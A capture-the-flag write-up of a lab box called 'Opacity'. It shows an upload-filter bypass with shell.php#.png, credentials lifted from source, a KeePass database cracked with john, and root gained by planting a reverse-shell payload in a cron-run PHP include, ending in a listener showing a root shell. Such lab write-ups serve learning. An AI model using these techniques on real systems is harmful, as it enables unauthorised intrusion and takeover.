HTTP enumeration is required, most-likey to get the initial foothold
SMB Enumeration
$ smbclient -L \\\\10.10.157.10\\ 20.2s _ Tuesday 06 June 2023 12:33:16 PM
Password for [WORKGROUP\cash]:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
IPC$ IPC IPC Service (opacity server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
The /cloud directory looks interesting, on visiting that endpoint
We can get to know that its a file-upload functionality page........which takes a URL as an input and fetches image
We can quickly set a python http server and host a jpeg file to know that applications functionality - Returns 200 OK
If we try to upload a .php file, it denies :(
So the backend is validating on extensions, inorder to bypass this we can rename shell.php to shell.php#.png
Looking at the www-data's home directory, we can find some creds from the login.php source code
Let’s log in to the website via the credential we got, we can even try password spraying on the users - sysadmin and root, but nothing worked ;(
Lateral Move => Sysadmin
Since we got to a dead end I started looking around, and I found the dataset.kdbx in the /opt folder - Transferred it to our machine and analyzed it using the file command
It seems to be a KeePass database file, we can easily crack it via john
$ keepass2john dataset.kdbx > keepasshash.txt
$ john keepasshash.txt --wordlist=/opt/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 100000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
741852963 (dataset)
1g 0:00:00:09 DONE (2023-06-06 13:26) 0.1015g/s 89.34p/s 89.34c/s 89.34C/s chichi..david1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
We can use the KeePass2 GUI functionality to open the database file
We can now SSH into the box as sysadmin :)
Privilege Escalation => Root
Since we are a stable user now we can cat the local.txt
Let's start enumerating from here, the scripts directory looks interesting !
sysadmin@opacity:~$ cd scripts/
sysadmin@opacity:~/scripts$ ls
lib script.php
sysadmin@opacity:~/scripts$
sysadmin@opacity:~/scripts$ cat script.php
<?php
//Backup of scripts sysadmin folder
require_once('lib/backup.inc.php');
zipData('/home/sysadmin/scripts', '/var/backups/backup.zip');
echo 'Successful', PHP_EOL;
//Files scheduled removal
$dir = "/var/www/html/cloud/images";
if(file_exists($dir)){
$di = new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS);
$ri = new RecursiveIteratorIterator($di, RecursiveIteratorIterator::CHILD_FIRST);
foreach ( $ri as $file ) {
$file->isDir() ? rmdir($file) : unlink($file);
}
}
?>
So the script.php requires another file called backup.inc.php which is in the /lib
All the files are owned by root here, let's try copying the backup file from lib directory to our home directory so that we can edit it
sysadmin@opacity:~/scripts/lib$ cp backup.inc.php ../
cp: cannot create regular file '../backup.inc.php': Permission denied
sysadmin@opacity:~/scripts/lib$ cp backup.inc.php ../../
sysadmin@opacity:~/scripts/lib$ cd ..
sysadmin@opacity:~/scripts$ ls
lib script.php
sysadmin@opacity:~/scripts$ cd ..
sysadmin@opacity:~$ ls
backup.inc.php local.txt scripts
We'll now remove the duplicate file which is in the /lib directory - now we'll have to insert our php reverse payload and put it back where it was and wait till the cron executes it
$ rlwrap nc -nlvp 9999 Tuesday 06 June 2023 01:39:37 PM
listening on [any] 9999 ...
connect to [10.8.74.51] from (UNKNOWN) [10.10.157.10] 43978
Linux opacity 5.4.0-139-generic #156-Ubuntu SMP Fri Jan 20 17:27:18 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
08:10:02 up 1:12, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
sysadmin pts/1 10.8.74.51 08:00 10.00s 0.12s 0.12s -bash
uid=0(root) gid=0(root) groups=0(root)
sh: 0: can't access tty; job control turned off
# whoami
root
